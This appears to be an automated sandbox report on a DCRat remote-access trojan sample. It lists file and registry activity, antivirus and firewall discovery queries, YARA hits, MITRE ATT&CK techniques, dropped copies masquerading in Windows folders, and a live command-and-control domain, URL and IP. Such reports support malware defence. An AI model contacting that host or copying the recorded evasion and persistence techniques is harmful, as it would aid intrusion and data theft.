Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Users\user\Desktop\01YP9Lwum8.exe VolumeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Users\user\Desktop\01YP9Lwum8.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Tasks\explorer.exe	Queries volume information: C:\Windows\Tasks\explorer.exe VolumeInformation
Source: C:\Windows\Tasks\explorer.exe	Queries volume information: C:\Windows\Tasks\explorer.exe VolumeInformation
Source: C:\Windows\Tasks\explorer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe VolumeInformation
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe VolumeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Users\user\Desktop\01YP9Lwum8.exe VolumeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe VolumeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Users\user\Desktop\01YP9Lwum8.exe VolumeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Tasks\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Tasks\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 01YP9Lwum8.exe, type: SAMPLE
Source: Yara match	File source: 0.0.01YP9Lwum8.exe.d40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1678955893.0000000000D42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01YP9Lwum8.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Tasks\explorer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 01YP9Lwum8.exe, type: SAMPLE
Source: Yara match	File source: 0.0.01YP9Lwum8.exe.d40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1678955893.0000000000D42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 01YP9Lwum8.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Tasks\explorer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	35 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	31 Registry Run Keys / Startup Folder	31 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	232 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
01YP9Lwum8.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
01YP9Lwum8.exe	64%	Virustotal		Browse
01YP9Lwum8.exe	100%	Avira	HEUR/AGEN.1309961
01YP9Lwum8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\FQJMKusv.log	29%	ReversingLabs
C:\Users\user\Desktop\GxmnOonm.log	29%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\IWZmSUOS.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\MMQdZROL.log	29%	ReversingLabs
C:\Users\user\Desktop\TegMjxUT.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\UKABrbpL.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\WdtCbgnJ.log	8%	ReversingLabs
C:\Users\user\Desktop\gWTqOnyV.log	8%	ReversingLabs
C:\Users\user\Desktop\lqHRDSoi.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\ozbgygOD.log	29%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\qKxhyytD.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\znGWisJl.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\Tasks\explorer.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
77777cm.nyashtyan.in	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://aka.ms/pscore68	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
77777cm.nyashtyan.in	188.114.97.3	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/pscore68	powershell.exe, 00000018.00000002.2065671953.0000022F102A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F7317F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.00000241495F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A79D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E11381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740961000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E33A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B865C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A5E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000018.00000002.2065671953.0000022F1059A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F731A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.0000024149816000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A7BF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842D27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E115D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDCD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688F18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E35C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B867E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A6097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	01YP9Lwum8.exe, 00000000.00000002.1840009757.0000000003201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2065671953.0000022F102A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F7317F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.00000241495F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A79D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB090000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E11381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740961000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E33A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B865C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A5E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000018.00000002.2065671953.0000022F1059A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F731A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.0000024149816000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A7BF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842D27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E115D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDCD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688F18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E35C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B867E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A6097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name8	powershell.exe, 00000026.00000002.2029202541.000001E842B01000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	77777cm.nyashtyan.in	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540772
Start date and time:	2024-10-24 06:06:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	82
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	01YP9Lwum8.exe renamed because original name is a hash value
Original Sample Name:	31c3f45b0054b2592dfbe98cc2b2ae6f.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@88/116@1/1
EGA Information:	Successful, ratio: 8.3%
HCA Information:	Successful, ratio: 86% Number of executed functions: 314 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, schtasks.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 01YP9Lwum8.exe, PID 8044 because it is empty
Execution Graph export aborted for target 01YP9Lwum8.exe, PID 8080 because it is empty
